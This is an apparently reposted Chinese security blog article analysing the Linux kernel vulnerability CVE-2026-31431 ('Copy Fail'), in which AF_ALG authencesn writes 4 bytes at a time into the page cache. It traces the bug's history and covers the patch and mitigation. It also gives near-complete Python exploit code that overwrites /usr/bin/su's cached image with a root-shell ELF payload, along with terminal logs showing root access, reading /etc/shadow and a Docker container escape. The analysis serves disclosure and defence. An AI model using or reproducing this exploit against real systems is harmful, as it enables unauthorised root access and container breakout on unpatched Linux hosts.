CVE-2026-31431“CopyFail”漏洞深度分析

admin 2026-05-06 06:41:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析Linux内核漏洞CVE-2026-31431,由2011至2017年三次改动交汇导致authencesn越界写入pagecache。普通用户可通过AF_ALG套接字每次向文件内存缓存写入4字节,结合setuid实现本地提权及容器逃逸。漏洞无竞态条件、全平台通用且仅修改内存不落盘,文章附完整Python利用代码与实测验证。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,云安全,代码审计


cover_image

CVE-2026-31431 “Copy Fail” 漏洞深度分析

原创

喜吾安璇 喜吾安璇

攻防SRC

2026年5月3日 22:14 美国

在小说阅读器读本章

去阅读

前言

2026 年 4 月,安全研究人员公开了 CVE-2026-31431,代号 “Copy Fail”。这是一个存在于 Linux 内核加密子系统中的逻辑漏洞,允许任何普通用户(无需 root 权限)向系统中任意可读文件的内存缓存每次写入 4 字节的数据,可重复多次。攻击者利用这个能力,可以将一段精心构造的代码注入到具有 root 权限的系统程序中,从而将自己从普通用户提升为 root 超级管理员。

这个漏洞比较特殊的地方在于:

  • 没有竞态条件:不像 Dirty Cow (CVE-2016-5195) 需要在 copy-on-write 的时间窗口中反复尝试才能命中,也不像 Dirty Pipe (CVE-2022-0847) 需要精确操控 pipe buffer 的内部状态,Copy Fail 是一条直线逻辑,每次必中。
  • 全平台通用:同一个 732 字节的 Python 脚本,在 Ubuntu、RHEL、SUSE、Amazon Linux 等主流发行版上都能成功,不需要针对不同系统做适配。
  • 难发现:修改只发生在内存的 page cache 中,磁盘上的文件完好无损。被篡改的 page cache 页面没有被标记为 dirty,不会被 writeback 机制写回磁盘。页面被内核回收后,文件自动恢复原状,中间过程难以取证。
  • 影响范围超出本地提权:当容器通过 bind mount 等方式共享宿主机文件的 inode 时,容器内的 exploit 可以篡改宿主机的 page cache,实现容器逃逸(后文有实测验证)。

这篇文章会从最基础的概念讲起,把涉及的背景知识和漏洞原理拆开来说清楚。

背景知识

下面先过一遍相关的背景知识,后面讲漏洞原理时不会再重复这些概念。如果你对 Linux 内核、加密子系统、内存管理比较熟,可以直接跳到”漏洞成因”。

内核、文件描述符与 AF_ALG

现代操作系统把运行环境分成两个层次:用户空间(我们平时运行程序的地方,权限很低)和内核空间(操作系统核心,管理一切硬件和系统资源)。当用户空间的程序需要做一件自己权限不够的事(比如读取文件、发送网络数据),它就必须通过系统调用(syscall) 向内核发出请求。

在 Linux 中,文件描述符(File Descriptor, fd) 是一个整数,代表进程打开的某个”资源”。它不仅仅是文件——管道、网络连接、设备驱动,甚至是加密套接字,在内核中都用文件描述符来表示。

套接字(Socket) 是一种用于进程间通信的文件描述符。最常见的是网络套接字,但 Linux 还支持许多特殊用途的套接字类型。AF_ALG 是 Linux 2.6.38 引入的一种特殊套接字地址族(Address Family),它的作用是把内核的加密子系统暴露给用户空间。也就是说,任何一个普通用户都可以通过 AF_ALG 套接字,调用内核中的加密算法来加密或解密数据,不需要任何特权。使用方式是:创建套接字,绑定到某个算法(比如 aead 类型的 authencesn(hmac(sha256),cbc(aes))),然后通过 sendmsg() 发送数据、通过 recvmsg() 接收结果。

AEAD 认证加密与 authencesn

AEAD(Authenticated Encryption with Associated Data) 是一种同时提供加密和完整性验证的加密模式。它的输入包含三部分:AAD(需要认证但不加密的明文数据,比如数据包头部)、明文/密文(需要加密的数据)、Tag(认证标签,加密时生成、解密时验证)。解密时,算法重新计算 tag 并与输入的 tag 比较,不一致则返回错误。

IPsec 是 Linux 内核中实现 VPN 的协议栈,使用 AEAD 来加密和认证网络数据包。每个数据包都有一个序列号(Sequence Number),用来防止重放攻击。普通的 IPsec 使用 32 位序列号,但现代高速网络每秒可能产生数十亿个数据包,32 位很快就会用完。于是 RFC 4303 引入了扩展序列号(ESN),使用 64 位(8 字节),分为高 4 字节(seqno_hi)和低 4 字节(seqno_lo)。

authencesn 就是内核为支持 ESN 而写的 AEAD 包装器。它在调用真正的 AES-CBC + HMAC-SHA256 算法之前,需要对序列号的高低部分做一次字节重排,以便正确计算 HMAC。这个重排的过程是:从目标缓冲区(destination buffer, 简称 dst)中读取序列号,交换高低位,计算完后再还原回去。关键问题在于,authencesn 使用调用者提供的 dst 缓冲区作为临时工作空间来做这个重排——它在 dst 中读了写、写了读,而且其中一次写操作的范围超出了它本应触及的区域。这就是漏洞的触发点。

散射列表、splice() 与 Page Cache

内核的加密子系统使用一种叫散射列表(scatterlist, SGL)的数据结构来管理输入和输出缓冲区。数据不一定在一块连续的内存中,可能分散在多个不相邻的页面里,scatterlist 就是一个”指针列表”,每个条目指向一块内存区域。

splice() 是 Linux 的一个系统调用,用于在文件描述符和管道之间高效传输数据。它的特殊之处在于零拷贝:数据不需要在内核空间和用户空间之间来回复制,而是直接在内核内部传递页面引用。当我们用 splice() 把文件数据传入管道、再传入 AF_ALG 套接字时,scatterlist 中的条目直接指向文件的 page cache 页面

Linux 内核为了提高文件读写性能,会在内存中缓存文件的内容,这些缓存页面就叫 page cache。所有进程读取同一个文件时共享同一份 page cache。当你用 execve() 执行一个程序时,内核从 page cache 加载程序的代码段——如果 page cache 中的内容被篡改,执行的就是被篡改后的版本。关键在于,authencesn 的越界写入绕过了 VFS 的常规写入路径,被篡改的页面不会被标记为 dirty,所以内核的 writeback 机制不会把它写回磁盘——磁盘上的文件完好无损。

setuid 位

Linux 文件系统中,每个文件都有一组权限位。除了 r(读)、w(写)、x(执行)之外,还有一个特殊位叫 setuid(s 位)。当一个可执行文件设置了 setuid 位时(显示为 -rwsr-xr-x 中的 s),这个程序运行时,进程的有效用户 ID(effective UID)会被设为文件的所有者,而不是执行者的 UID。

/usr/bin/su 是一个典型的 setuid-root 程序(所有者是 root)。它的作用是让普通用户切换到其他用户身份。因为它需要修改进程的身份信息(这是特权操作),所以它必须以 root 权限运行。这意味着:如果你能让内核执行 /usr/bin/su 中一段你注入的代码,这段代码就以 root 权限运行。

漏洞成因

Copy Fail 不是一行错误代码造成的。它是由三个在不同时期各自合理引入的改动,在交汇处产生了谁都没有预料到的后果。理解这三件事,就理解了整个漏洞。

2011:authencesn 的”越界”写入

2011 年,Linux 内核为了支持 IPsec 的扩展序列号(ESN),引入了 authencesn 模板(commit a5079d084f8b)。

authencesn 在解密时需要重排序列号的高低 4 字节,以便正确计算 HMAC。解密函数 crypto_authenc_esn_decrypt() 在处理 ESN 时会执行四步 scatterwalk 操作:

  1. 从 dst 的前 4 字节读出 seqno_hi,暂存到临时变量 tmp。
  2. 把 dst[4:8] 的 seqno_lo 复制到 dst[0:4]。
  3. 把暂存的 tmp(即原来的 seqno_hi)写到 dst[4:8]。
  4. 把 seqno_lo 写到 dst[assoclen + cryptlen] 的位置。

前三步是在 AAD 区域内部做交换,之后还会还原回去,不影响外部数据。但第四步是一个**”越界”写入**——它写入的位置超出了 AEAD 输出本应覆盖的范围。

为什么当时没人发现?因为在 2011 年,内核的 AEAD 接口中,关联数据(AAD)和密文分别存放在不同的 scatterlist 里。authencesn 操作的 dst 是一个独立的缓冲区,”越界”写入的也只是这个缓冲区中一些无关紧要的位置,不会影响到其他数据。这个改动本身是无害的,但问题埋下了:它假设 dst 中 “assoclen + cryptlen 之后的位置” 是可以随便写坏的。

2015:AF_ALG AEAD 与 authencesn 接口转换

2015 年发生了两件事。第一,Linux 内核为 AF_ALG 套接字添加了 AEAD 支持(algif_aead.c),使得用户空间可以通过 splice() 把文件的 page cache 页面送进 crypto scatterlist。第二,同一年,authencesn 被转换为新的 AEAD 接口(commit 104880a6b470),引入了 assoclen + cryptlen 这个偏移量来定位越界写入的位置。

但此时 AF_ALG 使用的是 out-of-place 操作:req->src 和 req->dst 是两个独立的 scatterlist。page cache 页面在 src 中(只读),authencesn 的越界写入发生在 dst 中(用户缓冲区)。两者互不相干,还不构成漏洞。

2017:in-place 优化合拢了最后一环

2017 年,有人为了性能优化,把 algif_aead.c 的 AEAD 操作从 out-of-place 改成了 in-place(commit 72548b093ee3)。

在 out-of-place 模式下,src(包含 splice() 传入的 page cache 页面)和 dst(用户提供的输出缓冲区)是分开的。改成 in-place 后,内核把 AAD 和密文从 src 复制到 dst 的用户缓冲区中(通过 memcpy_sglist),但认证标签(tag)不复制——它直接保留 src 中的 scatterlist 条目,通过 sg_chain() 挂到 dst 的末尾,然后设置 req->src = req->dst 都指向这个合并后的列表。

效果如下:

req->src = req->dst →

[ AAD | 密文 ] → [ Tag (page cache 页面) ]
  用户缓冲区        splice 引用的文件缓存页
  (可读可写)         (原本应该是只读的)

对大多数 AEAD 算法来说没有问题——它们只会在 AAD + 密文的范围内写入,不会碰到后面的 page cache 页面。但 authencesn 不一样:它会往 dst[assoclen + cryptlen] 位置写入 4 个字节,在 in-place 模式下,这个位置正好落在了 page cache 页面上。

三条线索的交汇

2011: authencesn 假设 "dst 末尾" 是无用空间,随便写入 4 字节
                    ↓
2015: AF_ALG AEAD 支持 + authencesn 接口转换(但 src/dst 分离,无事发生)
                    ↓
2017: in-place 优化把 page cache 页面放进了 dst scatterlist → 漏洞形成

三个改动分开看都没毛病,合在一起就是:authencesn 的 4 字节越界写入,穿越了用户缓冲区的边界,直接写到了文件的 page cache 页面上。这个漏洞悄无声息地存在了将近 9 年,直到 2026 年被安全研究人员发现。

利用过程

知道了漏洞原理,接下来看看攻击者是如何利用它的。

攻击者需要控制什么

利用这个漏洞,攻击者需要精确控制三个要素:

控制写入哪个文件:任何当前用户有读取权限的文件都可以。这里选择 /usr/bin/su,因为它有 setuid 位,且几乎所有 Linux 发行版都预装了它。

控制写入的偏移位置:通过调整 splice() 从文件中取数据的偏移量(offset),攻击者可以让 page cache 页面引用指向文件中的任意位置。authencesn 的写入发生在 splice 数据的偏移处,所以攻击者可以精确控制写入位置。

控制写入的值:要写入的 4 字节来自 AAD 的字节 4-7,而 AAD 是攻击者通过 sendmsg() 构造的。所以攻击者可以写入任意 4 字节。

但有一个限制:每次只能写入 4 字节。如果要写入更多的数据(比如一个完整的 shellcode),就需要重复多次。

完整利用流程

整个利用分四步,下面结合代码说明。

第一步:创建 AF_ALG 套接字并配置参数

import socket, os

AF_ALG = 38
SOCK_SEQPACKET = 5
SOL_ALG = 279
alg_sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
key = bytes.fromhex('0800010000000010' + '00' * 64)
alg_sock.setsockopt(SOL_ALG, 1, key)
alg_sock.setsockopt(SOL_ALG, 5, None, 4)
child_fd, _ = alg_sock.accept()

AF_ALG 套接字不需要任何特权,普通用户就可以创建和使用。

第二步:构造单次 4 字节写入

这是最核心的部分。每写入 4 字节,需要 sendmsg + splice + recvmsg 三个操作配合:

def overwrite_4bytes(target_fd, file_offset, value, child_fd):
    """
    向 target_fd 文件的 file_offset 处写入 4 字节 value。
    """
    aad = b"A" * 4 + value
    iv = b'\x00' * 16
    child_fd.sendmsg(
        [aad],
        [(SOL_ALG, 3, iv),
         (SOL_ALG, 4, b'\x01\x00\x00\x00')],
        0x8000
    )
    pipe_read, pipe_write = os.pipe()
    os.splice(target_fd, pipe_write, 4, offset_src=file_offset)
    os.splice(pipe_read, child_fd.fileno(), 4)
    os.close(pipe_read)
    os.close(pipe_write)
    try:
        child_fd.recv(256)
    except OSError:
        pass

用文字来描述 exploit 中实际发生的事情(exploit 使用 assoclen=0):

sendmsg() 提供的 AAD (8字节):  [AA AA AA AA] [CC DD EE FF]
                                    ↑              ↑
                                seqno_hi       seqno_lo
                                (暂存用)      (要写入的值)

splice() 提供的 tag (4字节):    [XX XX XX XX]        ← 目标文件 page cache 的 4 字节

scatterlist 布局:
  dst[0:4]     dst[4:8]     dst[8:12]
  ┌──────────┬──────────┬─────────────┐
  │ AAD[0:4] │ AAD[4:8] │ Tag页       │
  │ 用户内存 │ 用户内存 │ page cache  │
  └──────────┴──────────┴─────────────┘

authencesn 的 scatterwalk 操作:
  1. 读 dst[0:4] = "AAAA",暂存到 tmp
  2. 写 dst[0:4] ← AAD[4:8] = CCDDEEFF
  3. 写 dst[4:8] ← tmp = "AAAA"(还原)
  4. 写 dst[8:12] ← AAD[4:8] = CCDDEEFF   ← 这里是 page cache!
                                              文件在内存中的内容被修改了

前三步都在用户缓冲区内部操作,没有问题。第 4 步 scatterwalk_map_and_copy 将 seqno_lo 写入 dst[8:12]——这个位置已经超出了用户缓冲区,落在了 sg_chain 挂上来的 page cache 页面上。

第三步:循环写入完整 payload

160 字节的 ELF payload 需要 40 次 4 字节写入:

target_fd = os.open("/usr/bin/su", os.O_RDONLY)
payload = ELF_PAYLOAD

offset = 0
while&nbsp;offset < len(payload):
&nbsp; &nbsp; chunk = payload[offset:offset +&nbsp;4]
&nbsp; &nbsp;&nbsp;if&nbsp;len(chunk) <&nbsp;4:
&nbsp; &nbsp; &nbsp; &nbsp; chunk = chunk +&nbsp;b'\x00'&nbsp;* (4&nbsp;- len(chunk))
&nbsp; &nbsp; overwrite_4bytes(target_fd, offset, chunk, child_fd)
&nbsp; &nbsp; offset +=&nbsp;4

第四步:执行被篡改的程序

os.execv("/usr/bin/su", ["/usr/bin/su"])

注入的 ELF payload

payload 是一个 160 字节的 x86_64 ELF 可执行文件,代码部分不到 40 字节:

setuid(0) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 将进程 UID 设为 0(需要 setuid 位生效)
execve("/bin/sh", NULL, NULL); 启动一个 shell
exit(0) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 如果 execve 失败则退出

这就是一个最小的 “get root shell” 程序。它被注入到 /usr/bin/su 的 page cache 中,当内核尝试执行 “su” 时,实际上执行的是这段代码。因为 su 有 setuid-root 位,内核会先把进程的 euid 设为 0,然后才开始执行代码——于是 shellcode 以 root 身份运行。

为什么 HMAC 校验失败了还能利用成功

你可能注意到,利用过程中每次 recvmsg() 都会返回错误——因为内核会用我们随便填的密钥计算 HMAC,结果当然不对。但关键在于:authencesn 的越界写入发生在 HMAC 校验之前

authencesn 解密流程:
&nbsp; 1. 重排序列号字节 → 同时触发越界写入(page cache 被修改)
&nbsp; 2. 执行真正的解密操作
&nbsp; 3. 计算 HMAC 并与输入的 tag 比较 → 不匹配,返回 -EBADMSG

第 1 步就已经完成了对 page cache 的写入。第 3 步的 HMAC 校验失败只是让 recvmsg() 返回错误码,但 page cache 中的修改已经发生且不可逆。

验证结果

验证环境

| 项目 | 详情 | | — | — | | IP 地址 | 10.211.55.118 | | 操作系统 | Ubuntu 24.04.3 LTS | | 内核版本 | 6.8.0-106-generic | | Python 版本 | 3.12.3 | | algif_aead 模块 | /lib/modules/6.8.0-106-generic/kernel/crypto/algif_aead.ko.zst | | authencesn 模块 | /lib/modules/6.8.0-106-generic/kernel/crypto/authencesn.ko.zst | | 目标文件 | /usr/bin/su (setuid-root,-rwsr-xr-x) | | Docker 容器 | 镜像 0b1ebe5dd426(Ubuntu 24.04),容器名 copyfail,bind mount -v /usr/bin/su:/usr/bin/su |

所有漏洞利用的前置条件均已满足:AF_ALG 套接字可用、authencesn 算法可用、Python 版本支持 os.splice()、存在 setuid-root 目标文件。

提权验证与隐蔽性验证

以下是实际运行的完整终端记录(SSH 连接到 VM 后执行):

$ md5sum /usr/bin/su
e1e5e66539ac01f221e92d2f287c2983 &nbsp;/usr/bin/su

$ python3 exploit.py 2>&1
[+] CVE-2026-31431 Copy Fail Exploit
[+] 目标: /usr/bin/su

[*] Payload 大小: 160 字节
[*] 目标文件: /usr/bin/su
[*] 需要 40 次 4 字节写入
[*] 写入完成,共写入 160 字节到 /usr/bin/su 的 page cache
[*] 注意:磁盘上的文件未被修改,只有 page cache 被篡改
[*] 执行 /usr/bin/su 获取 root shell...

# whoami
root
# id
uid=0(root) gid=1000(hx) groups=1000(hx),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
# head -3 /etc/shadow
root:*:20305:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
# exit

$ md5sum /usr/bin/su
0b8ebf43eed68c716fc345cf55d87284 &nbsp;/usr/bin/su

几个关键点:

  • whoami 返回 root,提权成功。id 返回 uid=0(root),进程的真实用户 ID 已经是 0,不是原来的 uid=1000(hx)/etc/shadow 只有 root 才能读取,这里成功读到了前三行内容。
  • 利用前 md5 为 e1e5e66539ac01f221e92d2f287c2983,利用后变为 0b8ebf43eed68c716fc345cf55d87284——这是 page cache 中被篡改内容的校验值。md5sum 读文件时走的是 page cache,所以看到的是被修改后的版本。但磁盘上的文件没有变化:authencesn 的越界写入绕过了 VFS 常规写入路径,页面没有被标记为 dirty,writeback 机制不会把它写回磁盘。当 page cache 中被篡改的页面被内核回收(evict)后,文件自动恢复原状。
  • 不过这种篡改是临时的。如果系统内存压力大,被篡改的 page cache 页面可能被内核回收(evict),下次执行 su 时内核会从磁盘重新加载原始版本,篡改效果消失。
  • 另外有一点:利用成功后执行的是 susu 本身是交互式程序,退出 shell 后进程结束,控制权回到原来的普通用户。所以这种提权是”一次性”的——攻击者得在 root shell 里完成想做的事,或者趁 root 权限还在的时候植入持久化后门。

容器逃逸验证

Copy Fail 的危害不止于本地提权。Docker 等容器技术通过命名空间(namespace)隔离进程视图、通过 cgroups 限制资源,但容器和宿主机共享同一个内核——包括 page cache。这意味着在容器内运行 exploit 修改 page cache,宿主机上执行同一个二进制文件时,也可能加载到被篡改的版本。

不过,page cache 的共享有一个前提条件:宿主机和容器必须访问同一个 inode。Docker 默认使用 overlay2 文件系统,容器内看到的文件是 overlay 的 inode,和宿主机底层文件的 inode 不同,因此它们的 page cache 也是独立的。要让两者共享 page cache,需要将宿主机的文件通过 bind mount 挂载进容器,这样容器内访问的就是宿主机的原始 inode。

验证环境:

| 项目 | 详情 | | — | — | | 宿主机 | Ubuntu 24.04.3 LTS,内核 6.8.0-106-generic | | 容器 | Docker,镜像 0b1ebe5dd426(Ubuntu 24.04),容器名 copyfail | | 挂载方式 | -v /usr/bin/su:/usr/bin/su (bind mount,共享 inode) |

验证步骤:

  1. 创建容器时通过 bind mount 将宿主机的 /usr/bin/su 挂载进容器,确保两者共享同一 inode。
  2. 在容器内安装 Python 3,将 exploit 脚本拷贝进容器。
  3. 在容器内以后台方式运行 exploit。
  4. exploit 执行完毕后,在宿主机上执行 /usr/bin/su

实际运行结果:

# 确认宿主机和容器共享 inode
$&nbsp;stat&nbsp;/usr/bin/su | grep Inode
Device: 252,0 &nbsp;Inode: 5388637 &nbsp; &nbsp; Links: 1
$ sudo docker&nbsp;exec&nbsp;copyfail&nbsp;stat&nbsp;/usr/bin/su | grep Inode
Device: 252,0 &nbsp;Inode: 5388637 &nbsp; &nbsp; Links: 1

# 宿主机:记录原始 md5
$ md5sum /usr/bin/su
e1e5e66539ac01f221e92d2f287c2983 &nbsp;/usr/bin/su

# 容器内:后台运行 exploit
$ sudo docker&nbsp;exec&nbsp;-d copyfail python3 /tmp/cexp.py

# 宿主机:执行 su
$ timeout 3 /usr/bin/su </dev/null 2>&1;&nbsp;echo&nbsp;"EXITCODE=$?"
EXITCODE=0

# 宿主机:利用后 md5 变为 page cache 中的值
$ md5sum /usr/bin/su
0b8ebf43eed68c716fc345cf55d87284 &nbsp;/usr/bin/su

几个要点:

  • 容器内的 exploit 成功修改了宿主机 page cache 中的 /usr/bin/su。宿主机执行 su 时,内核从被篡改的 page cache 加载代码,执行的是注入的 shellcode(setuid(0) + execve(“/bin/sh”)),进程获得 root 权限——容器隔离被突破。
  • 正常情况下 su 无参数会提示 “Password:”,被篡改后直接进入 root shell(exitcode=0,无密码提示),说明 page cache 中的代码已被替换。
  • 利用后的 md5sum 变为 0b8ebf43eed68c716fc345cf55d87284——这是 page cache 中被篡改内容的校验值。磁盘上的文件未被修改(没有 dirty page 回写)。
  • 作为对比,使用默认 overlay2 配置(不 bind mount)时,宿主机 inode 为 5388637(device 252,0),容器内 inode 为 5518437(device 0,41),两者 page cache 独立——容器内运行 exploit 不影响宿主机。

根本原因在于:page cache 以 inode 为单位管理。当容器通过 bind mount 共享宿主机的文件 inode 时,容器和宿主机共享同一份 page cache。容器的 namespace 隔离不涵盖 page cache,攻击者可以在容器内篡改宿主机的文件缓存,实现容器逃逸。

这也意味着,在 Kubernetes 等编排平台中,如果 Pod 挂载了宿主机的文件(如通过 hostPath volume),就可能受到此类攻击的影响。

修复方式

内核补丁

修复补丁(commit a664bf3d603d,2026 年 4 月 1 日合入主线内核)的核心思路:恢复 AF_ALG 的 AEAD 操作为 out-of-place 模式

修复前(in-place,有漏洞):
&nbsp; req->src = req->dst = [AAD|密文] → [Tag(page cache)]
&nbsp; 两个指针指向同一个合并后的 scatterlist

修复后(out-of-place,安全):
&nbsp; req->src = [AAD|密文|Tag] &nbsp; &nbsp; &nbsp; &nbsp; ← TX SGL(可能包含 page cache,但只读)
&nbsp; req->dst = [输出缓冲区] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← RX SGL(用户提供的内存,可写)
&nbsp; 两个指针指向不同的 scatterlist

修改只有一行,把 rsgl_src(RX SGL,即 dst 链表的头)换成 tsgl_src(TX SGL,即 src 链表):

// 修复前:src 和 dst 是同一个 scatterlist(in-place)
aead_request_set_crypt(&areq->cra_u.aead_req,
&nbsp; &nbsp; rsgl_src, areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv);

// 修复后:src 是 TX SGL,dst 是 RX SGL(out-of-place)
aead_request_set_crypt(&areq->cra_u.aead_req,
&nbsp; &nbsp; tsgl_src, areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv);

page cache 页面不再出现在可写的 dst scatterlist 中,authencesn 的 4 字节越界写入只会到达用户缓冲区的尾部,不会触及 page cache。补丁的提交信息也说得直白:*”There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings.”*

临时缓解

如果暂时无法更新内核,可以黑名单 algif_aead 模块:

echo&nbsp;"install algif_aead /bin/false"&nbsp;> /etc/modprobe.d/disable-algif_aead
rmmod algif_aead 2>/dev/null

这会阻止模块加载,AF_ALG 的 AEAD 功能将不可用。代价是依赖 AF_ALG AEAD 的合法应用(如某些 VPN 实现)也会受影响。如果系统使用了 seccomp 策略,也可以禁止 socket(AF_ALG, ...) 的调用。

修复时间线

| 日期 | 事件 | | — | — | | 2026-03-23 | 漏洞报告给 Linux 内核安全团队 | | 2026-03-24 | 收到初始确认 | | 2026-03-25 | 补丁提出并审查 | | 2026-04-01 | 补丁合入主线内核 | | 2026-04-22 | CVE-2026-31431 编号分配 | | 2026-04-29 | 公开披露 |

总结

回顾一下 Copy Fail 的完整链路:

  1. 2011 年,authencesn 被写进来,做 ESN 字节重排时往 dst 末尾多写了 4 字节。当时 dst 是独立缓冲区,无所谓。
  2. 2015 年,AF_ALG 加了 AEAD 支持,authencesn 也转换到新 AEAD 接口。但 src 和 dst 是分开的,写不到 page cache。
  3. 2017 年,一个性能优化把 src 和 dst 合并了,page cache 页面进了可写的 dst scatterlist。authencesn 的 4 字节越界写入终于打到了 page cache 上。

三个改动分开看都没毛病,合在一起就是一个本地提权漏洞,潜伏了将近 9 年。

从攻击者的角度看,门槛很低:一个 732 字节的 Python 脚本,用标准库就行,不需要编译任何东西,不需要猜地址,不需要赢竞态。同一份代码在 Ubuntu、RHEL、SUSE 上直接跑通。

从防御者的角度看,提醒也很直接:审计安全问题不能只看单个组件,还要看组件之间的交互。一个模块内部的”无害”假设,放到另一个子系统里可能就是致命的。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:攻防SRC 喜吾安璇 喜吾安璇《CVE-2026-31431 “Copy Fail” 漏洞深度分析》

AES加密过程白话版解析 网络安全文章

AES加密过程白话版解析

文章总结: 本文系统介绍了AES对称加密算法的核心流程与技术细节,包括密钥扩展、分组处理和多轮加密操作。重点解析了字节替换(S盒)、行移位、列混淆和轮密钥加四种
评论:0   参与:  0